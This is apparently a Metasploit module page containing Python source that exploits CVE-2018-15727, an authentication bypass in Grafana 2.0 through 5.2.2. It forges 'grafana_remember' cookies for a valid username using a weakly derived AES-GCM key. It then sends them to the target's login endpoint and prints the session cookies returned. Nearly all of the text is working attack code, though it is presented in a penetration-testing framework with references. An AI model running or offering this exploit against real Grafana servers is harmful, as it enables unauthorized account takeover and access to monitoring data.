Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/grafana_auth_bypass.py
Views: 11783
#!/usr/bin/env python31# -*- coding: utf-8 -*-23# standard modules4import binascii5import hashlib6import logging7import os8import re910from metasploit import module1112# extra modules13dependencies_requests_missing = False14try:15import requests16except ImportError:17dependencies_requests_missing = True1819dependencies_cryptography_missing = False20try:21from cryptography.hazmat.primitives.ciphers.aead import AESGCM22except ImportError:23dependencies_cryptography_missing = True242526metadata = {27'name': 'Grafana 2.0 through 5.2.2 authentication bypass for LDAP and OAuth',28'description': '''29This module generates a remember me cookie for a valid username. Through unpropper seeding30while userdate are requested from LDAP or OAuth it's possible to craft a valid remember me cookie.31This cookie can be used for bypass authentication for everyone knowing a valid username.32''',33'authors': [34'Rene Riedling',35'Sebastian Solnica' # Original Discovered36],37'date': '2019-08-14', # set to date of creation38'license': 'MSF_LICENSE',39'references': [40{'type': 'cve', 'ref': '2018-15727'},41{'type': 'url', 'ref': 'https://grafana.com/blog/2018/08/29/grafana-5.2.3-and-4.6.4-released-with-important-security-fix/'}42],43'type': 'single_scanner',44'options': {45'VERSION': {'type': 'enum', 'description': 'Grafana version: "2-4" or "5"', 'required': True, 'default': '5', 'values': ['2-4', '5']},46'USERNAME': {'type': 'string', 'description': 'Valid username', 'required': False},47'RHOSTS': {'type': 'address', 'description': 'Address of target', 'required': True, 'default': '127.0.0.1'},48'RPORT': {'type': 'port', 'description': 'Port of target', 'required': True, 'default': 3000},49'COOKIE': {'type': 'string', 'description': 'Decrypt captured cookie', 'required': False},50'TARGETURI': {'type': 'string', 'description': 'Base URL of grafana instance', 'required': False, 'default': '/'},51'SSL': {'type': 'bool', 'description': 'set SSL/TLS based connection', 'required': True, 'default': False}52}53}545556def encrypt_version5(username):57salt = b''58iterations = 100059key = hashlib.pbkdf2_hmac('sha256', salt, salt, iterations, 16)60aesgcm = AESGCM(key)61nonce = os.urandom(12)62username = username.encode()63ct = aesgcm.encrypt(nonce, username, None)64cookie = str(binascii.hexlify(nonce), 'ascii') + \65str(binascii.hexlify(ct), 'ascii')66return cookie676869def encrypt_version4(username):70salt = hashlib.md5(''.encode("utf-8")).hexdigest().encode()71iterations = 100072key = hashlib.pbkdf2_hmac('sha256', salt, salt, iterations, 16)73aesgcm = AESGCM(key)74nonce = os.urandom(12)75username = username.encode()76ct = aesgcm.encrypt(nonce, username, None)77cookie = str(binascii.hexlify(nonce), 'ascii') + \78str(binascii.hexlify(ct), 'ascii')79return cookie808182def decrypt_version5(cookie):83salt = b''84iterations = 100085key = hashlib.pbkdf2_hmac('sha256', salt, salt, iterations, 16)86aesgcm = AESGCM(key)87nonce = binascii.unhexlify(cookie[:24])88ct = binascii.unhexlify(cookie[24:])89username = str(aesgcm.decrypt(nonce, ct, None), 'ascii')90return username919293def decrypt_version4(cookie):94salt = hashlib.md5(''.encode("utf-8")).hexdigest().encode()95iterations = 100096key = hashlib.pbkdf2_hmac('sha256', salt, salt, iterations, 16)97aesgcm = AESGCM(key)98nonce = binascii.unhexlify(cookie[:24])99ct = binascii.unhexlify(cookie[24:])100username = str(aesgcm.decrypt(nonce, ct, None), 'ascii')101return username102103104def run(args):105if dependencies_requests_missing:106logging.error('Module dependency (requests) is missing, cannot continue')107return108109if dependencies_cryptography_missing:110logging.error('Module dependency (cryptography) is missing, cannot continue')111return112113if args['VERSION'] == "5":114try:115username = args['USERNAME']116cookie = encrypt_version5(args['USERNAME'])117module.log("Encrypted remember cookie: "+cookie, "good")118except:119module.log(120"No username set, trying to decrypt it from cookie.", "warning")121try:122username = decrypt_version5(args['COOKIE'])123module.log("Decrypted username: "+username, "good")124cookie = args['COOKIE']125except:126module.log("Unable to set username", "error")127return128elif args['VERSION'] == "2-4":129try:130username = args['USERNAME']131cookie = encrypt_version4(args['USERNAME'])132module.log("Encrypted remember cookie: "+cookie, "good")133except:134module.log(135"No username set, trying to decrypt it from cookie.", "warning")136try:137username = decrypt_version4(args['COOKIE'])138module.log("Decrypted username: "+username, "good")139cookie = args['COOKIE']140except:141module.log("Unable to set username", "error")142return143else:144module.log("Version not supported.", "error")145146try:147cookies = {'grafana_remember': cookie, 'grafana_user': username}148149if args['SSL'] == "false":150if args['TARGETURI'].endswith('/'):151url = "http://" + args['RHOSTS'] + ":" + \152args['RPORT'] + args['TARGETURI'] + "login/"153else:154url = "http://" + args['RHOSTS'] + ":" + \155args['RPORT'] + args['TARGETURI'] + "/login/"156elif args['SSL'] == "true":157if args['TARGETURI'].endswith('/'):158url = "https://" + args['RHOSTS'] + ":" + \159args['RPORT'] + args['TARGETURI'] + "login/"160else:161url = "https://" + args['RHOSTS'] + ":" + \162args['RPORT'] + args['TARGETURI'] + "/login/"163module.log('Targeting URL: ' + url, 'debug')164r = requests.get(url=url, cookies=cookies, allow_redirects=False)165166except:167module.log("Failed to sending request to host.", "error")168return169170if r.status_code == 302:171try:172grafana_user = re.search(173r"grafana_user=.*?;", r.headers['Set-Cookie']).group(0)174grafana_remember = re.search(175r"grafana_remember=.*?;", r.headers['Set-Cookie']).group(0)176grafana_sess = re.search(177r"grafana_sess=.*?;", r.headers['Set-Cookie']).group(0)178179module.log(180"Set following cookies to get access to the grafana instance.", "good")181module.log(grafana_user, "good")182module.log(grafana_remember, "good")183module.log(grafana_sess, "good")184except:185module.log("Failed to generate cookies out of request.", "error")186return187else:188module.log("Target is not vulnerable.", "warning")189return190191192if __name__ == '__main__':193module.run(metadata, run)194195196